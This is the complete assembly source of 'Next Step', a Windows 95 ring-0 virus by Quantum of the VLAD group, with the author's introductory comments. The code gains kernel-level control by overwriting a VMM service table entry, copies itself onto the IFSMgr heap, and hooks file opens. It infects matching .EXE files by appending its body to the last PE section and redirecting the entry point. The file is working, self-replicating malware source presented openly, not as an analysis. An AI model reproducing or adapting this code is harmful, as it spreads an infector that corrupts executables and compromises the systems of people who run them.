;
; Next Step by Quantum / VLAD
;
;Anyone who had read my Fuck Harry source will find this virus very
;similar. Just recently I became interested in writing a ring-0 win95 PE
;infector again.  On looking at my Fuck Harry virus I noticed a number of
;improvements that could be made.  This virus is the product.  Fuck Harry
;used zero space in the VMM device driver to store itself.  This virus
;could do that just as well but instead I have come up with a better
;method.  Using the heap alloc function of IFSMgr this virus is more
;stable.  It also includes a bit of code which I assume would allow this
;virus to return to host under winNT without giving errors.
;
;When I look at this virus and Fuck Harry I still can't beleive the
;mental alienation of Microsoft.  The idea that a ring-3 application
;running in a seperate virtual machine can write to ring-0 vxd space is
;beyond incompetense.  Not only is it possible to write to vxd space but
;you can set an entry in the VMM service table that gets called every
;second (Get_System_Time) to a handler that is in a ring-3 selector.
;That's what this virus does.  Once the handler gets control it allocates
;some space on the IFSMgr heap and copies the virus there.  It then calls
;the IFSMgr_InstallFileSystemApiHook routine to trap file opens.  So,
;needless to say, such terms as "Hacking ring-0" don't apply to windows
;95.  I sincerely hope that such things are not mirrored in windows NT.
;I don't have winNT (or desire to install it) so I can't check. If such
;things were possible one would suspect security concerns to be raised.
;The one thing I hate is the way dynamic linking is done.  It's a good
;idea I guess but it means you have to put the dynamic linking code back
;before you write the file - annoying.
;
;I actually have tried to optimize this virus.	You could take out all
;the little checks, write to zero space in vmm again, etc and make this
;virus smaller but I honestly think sacrificing stability for size is a
;pointless exercise.
;
; 642 bytes
;
.386
.model flat,STDCALL

;
; Define the external functions we will be linking to
;
extrn		 ExitProcess:PROC

.data
copyright	 db 'Custom Host',0

; dynamic linking
IFSMgr_GetHeap equ db 0cdh,20h,0dh,0,40h,0
IFSMgr_InstallFileSystemApiHook equ db 0cdh,20h,67h,0,40h,0
IFSMgr_Ring0_FileIO equ db 0cdh,20h,32h,0,40h,0
UniToBCSPath equ db 0cdh,20h,41h,0,40h,0

; these are some includes I lifted from ifs.inc
IFSFN_OPEN  equ 36    ; open file
R0_READFILE equ 0d600h
R0_WRITEFILE equ 0d601h
R0_OPENCREATFILE equ 0d500h
R0_CLOSEFILE equ 0d700h
R0_GETFILESIZE equ 0D800h

startvirus:		 ; virus starts here
rstart:

	mov	ax,cs	       ; make sure cs is win95
	cmp	ax,137h
	jnz	weout

	call	recalc1 		   ; get delta offset
recalc1:
	pop	ebp
	sub	ebp,recalc1-startvirus

	mov	[ebp+delta1-startvirus],ebp    ; self modify second delta

	mov	esi,0c000e98ch	     ; make sure vmm in right place
	lea	edi,[ebp+vmmstr-startvirus]
	cmpsd
	jnz	weout
	cmpsd
	jnz	weout
	mov	esi,[esi+30h-0ch-8]	      ; get the vmm service table
	add	esi,3fh*4
	mov	eax,[esi]		      ; get address of get_system_time

	; save the offset of vmm service table entry for get_system_time
	mov	[ebp+p_get_sys_time-startvirus],esi
	; save the address of get_system_time
	mov	[ebp+org_get_sys_time-startvirus],eax

	; set get_system_time in vmm service table to our routine
	mov	dword ptr [esi],setuproutine-startvirus
	add	dword ptr [esi],ebp

	; wait until routine has set itself up
wait1:
	cmp	byte ptr [ebp+wtc-startvirus],1
	jnz	wait1

weout:

	; return to host
	db	068h			   ; push orghost
orghost dd	offset dummyhost
	ret

vmmstr db "VMM     "             ; this must be in the vmm ddb

; above is ring-3.  Below is ring-0.

	; this routine is called in place of get_system_time
setuproutine:
	pusha
	db	0bdh				      ; get the delta again
delta1	dd	offset startvirus

	; allocate some memory on the net stack
	mov	eax,endvirus-startvirus+1024
	push	eax
fix1:
	IFSMgr_GetHeap
	pop	ecx
	or	eax,eax 	 ; were we successful ??
	jz	nomem

	xchg	eax,edi 	 ; yes. address -> edi
	mov	esi,ebp 	 ; esi = startvirus
	push	edi		 ; save address
	sub	cx,1024
	rep	movsb		 ; copy the virus to net heap
	pop	edi

	; save the ring0 delta offset
	mov	[edi+r0delta1-startvirus],edi
	lea	eax,[edi+apihook-startvirus]  ; FSAPI hook
	push	eax
	IFSMgr_InstallFileSystemApiHook 	      ; set the hook
	pop	ebx
	mov	[edi+nexthook-startvirus],eax ; save the old hook

	mov	eax,0c000e980h+0ch+4	  ; mark residency
	mov	[eax],eax

nomem:
	; set the vmm service table to the original value
	db	0bfh		 ; mov edi,p_get_sys_time
p_get_sys_time	dd 0
	mov	eax,[ebp+org_get_sys_time-startvirus]
	stosd

	; stop the host code waiting
	mov	byte ptr [ebp+wtc-startvirus],1
	popa

	; go back to original get_system_time
	db	068h		 ; push org_get_sys_time
org_get_sys_time  dd 0
	ret

inuseflag db 0
wtc db 0

; this routine is called by IFSMgr whenever a file operation is performed
apihook:
	push	ebp
	mov	ebp,esp

	sub	esp,20h

	push	ebx
	push	esi
	push	edi

	db	0bfh		       ; mov edi,r0delta1
r0delta1 dd	0

	cmp	byte ptr [edi+inuseflag-startvirus],1  ; so we dont re-enter
	je	okfile

	cmp	dword ptr [ebp+12],IFSFN_OPEN	  ; is this an openfile call ?
	jne	okfile

	mov	byte ptr [edi+inuseflag-startvirus],1

	pusha

	; convert the name to ascii

	lea	esi,[edi+namestore-startvirus]
	push	esi
	mov	eax,[ebp+16]

	cmp	al,0ffh
	je	uncname

	add	al,'@'
	mov	[esi],al
	inc	esi
	mov	byte ptr [esi],':'
	inc	esi
uncname:

	xor	eax,eax
	push	eax

	dec	al
	push	eax

	mov	ebx,[ebp+28]
	mov	eax,[ebx+12]
	add	eax,4
	push	eax

	mov	eax,esi
	push	eax

fix2:
	UniToBCSPath

	add	esp,4*4

	add	esi,eax
	mov	byte ptr [esi],0	;add the terminator-z

	; is it exe ?
	cmp	dword ptr [esi-8],'OYOY'        ; 7
	pop	eax				; 1
	jne	notexe				; 2
	push	eax				; 1
	cmp	dword ptr [esi-4],'EXE.'
	pop	esi
	jne	notexe

	; set the dynamic routines that get altered to calls back to ints
	mov	cx,20cdh				    ;4
	mov	eax,40000dh				    ;5
	mov	word ptr [edi+fix1-startvirus],cx	    ;4
	mov	dword ptr [edi+fix1-startvirus+2],eax	    ;6
	mov	word ptr [edi+fix2-startvirus],cx	    ;4
	mov	al,41h					    ;2
	mov	dword ptr [edi+fix2-startvirus+2],eax	    ;6
	mov	word ptr [edi+fix3-startvirus],cx	    ;4
	mov	al,32h					    ;2
	mov	dword ptr [edi+fix3-startvirus+2],eax	    ;6
							    ;39

	; open the file
	xor	ecx,ecx
;	 lea	 esi,[edi+namestore-startvirus]
	mov	bx,2
	mov	dx,1
	mov	eax,R0_OPENCREATFILE
	call	r0fio
	jc	notexe

	xchg	ebx,eax

	; read the first 1024 bytes of the file
;	 lea	 esi,[edi+namestore-startvirus]
	xor	edx,edx
	mov	cx,1024
	mov	eax,R0_READFILE
	call	r0fio

	; is it mz ?
	cmp	word ptr [esi],5a4dh
	jnz	fileclose

	; get peheader offset
	mov	edx,[esi+3ch]

	cmp	edx,512 		 ; pe header too far along
	ja	fileclose

	; is it pe,0,0 ?
	cmp	dword ptr [esi+edx],00004550h
	jnz	fileclose

	test	word ptr [esi+edx+22],2000h	  ; is it a library ?
	jnz	fileclose

	; save the orghost
	mov	eax,[esi+edx+40]
	add	eax,[esi+edx+52]
	mov	[edi+orghost-startvirus],eax

	push	edx

	; locate last object in the object table
	movzx	ecx,word ptr [esi+edx+6]      ; get number of objects
	mov	eax,ecx
	shl	eax,5			      ; mul 32
	shl	ecx,3			      ; mul 8
	add	eax,ecx 		      ; add em = mul by 28h
	movzx	ecx,word ptr [esi+edx+20]     ; nt hdr size
	add	eax,ecx 		      ; add it
	sub	eax,28h-24		      ; add 24, sub 28h
	add	edx,eax 		      ; esi+edx = last object

	; get the entrypoint rva
	mov	ecx,[esi+edx+12]	      ; rva
	add	ecx,[esi+edx+16]	      ; physical size

	; if last object size is odd then file already infected
	mov	eax,[esi+edx+16]	      ; physical size
	test	al,1
	jnz	fileclose1
	add	eax,[esi+edx+20]	      ; physical offset

	or	byte ptr [esi+edx+39],0e0h   ; make object writable

	push	eax
	mov	ebp,(endvirus-startvirus) OR 1
	add	[esi+edx+16],eax	      ; physical size
	mov	eax,[esi+edx+16]
	cmp	[esi+edx+8],eax
	ja	noprob
	mov	[esi+edx+8],eax 	      ; virtual size
noprob:
	pop	eax

	pop	edx
	push	eax

	; set the entrypoint rva
	mov	[esi+edx+40],ecx

	; increase the image size
	add	dword ptr [esi+edx+80],ebp

	; write the pe header
	xor	edx,edx
	mov	ecx,1024
	mov	eax,R0_WRITEFILE
	call	r0fio

	; write the virus
	pop	edx
	mov	esi,edi
	xchg	ecx,ebp
	mov	eax,R0_WRITEFILE
	call	r0fio

	push	edx

fileclose1:

	pop	edx

fileclose:

	; close the file
	mov	eax,R0_CLOSEFILE
	call	r0fio

notexe:
	popa

	mov	byte ptr [edi+inuseflag-startvirus],0

okfile:

	mov	eax,[ebp+28]	     ; call the old hooker
	push	eax
	mov	eax,[ebp+24]
	push	eax
	mov	eax,[ebp+20]
	push	eax
	mov	eax,[ebp+16]
	push	eax
	mov	eax,[ebp+12]
	push	eax
	mov	eax,[ebp+8]
	push	eax

	db	0b8h
nexthook dd 0
	call	[eax]

	add	esp,6*4

	pop	edi
	pop	esi
	pop	ebx

	leave
	ret

r0fio:
fix3:
	IFSMgr_Ring0_FileIO
	ret

namestore:

endvirus:

.code

start:
	jmp	rstart

dummyhost:
	push	0
	call	ExitProcess

ends
end start
